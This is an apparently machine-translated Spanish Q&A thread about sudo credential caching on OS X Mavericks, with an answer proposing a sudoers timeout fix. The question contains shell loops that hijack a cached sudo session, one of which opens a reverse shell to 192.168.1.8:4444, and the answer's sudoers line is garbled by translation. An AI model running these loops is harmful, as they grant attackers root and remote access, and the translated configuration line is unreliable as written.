Usar de forma segura sudo sin permitir el privilegio de root de otras aplicaciones en Mavericks

4

Recientemente he notado en OS X Mavericks que ejecutar sudo no solo permitirá que uno lo ejecute nuevamente en la misma ventana o incluso en la misma aplicación, sino que permitirá que cualquier aplicación ejecute comandos de shell como root. Esto significaría que cualquier aplicación que continuamente intente ejecutar sudo sin una contraseña en un bucle obtendría privilegios de root. ¿Hay alguna manera de cambiar esto?

Ejemplo de script de shell:

while (true) do
if [ 'echo ""|sudo -S whoami' = "root" ]; then
say root
echo root
exit
fi
done

Si eso se ejecuta en segundo plano y luego se ejecuta un comando sudo, dirá root y luego exit. Otro ejemplo que me preocuparía más es el siguiente:

while (true) do
if [ 'echo ""|sudo -S whoami' = "root" ]; then
bash -i > /dev/tcp/192.168.1.8/4444 0>&1
fi
done
    
pregunta 735Tesla 22.12.2013 - 02:20
fuente

1 respuesta

4

Bien, después de investigar un poco el problema, resulta que este comportamiento se debe a que OS / X genera el mismo TTY una y otra vez, y como sudo tiene un tiempo de espera, las aplicaciones en segundo plano reciben automáticamente permisos de sudo cuando otorgar permisos de sudo a una aplicación completamente diferente.

Afortunadamente, la solución no es difícil. Todo lo que necesita hacer es editar sus sudoers para agregar la siguiente línea:

Valores predeterminados: TODOS timestamp_timeout = 0

(Gracias a un determinado Themson Mester por sugerir esta opción de configuración)

Esto hará que el comportamiento sea mucho más estricto: solo su aplicación obtiene los permisos de sudo, y se agota de inmediato. Usé esto como referencia para realizar este cambio, y tiene muchos consejos útiles si lo está buscando. para cambiar otras cosas en sus sudoers.

Gracias por la gran pregunta, hoy aprendí algo nuevo. :)

    
respondido por el Karthik Rangarajan 22.12.2013 - 04:30
fuente

Lea otras preguntas en las etiquetas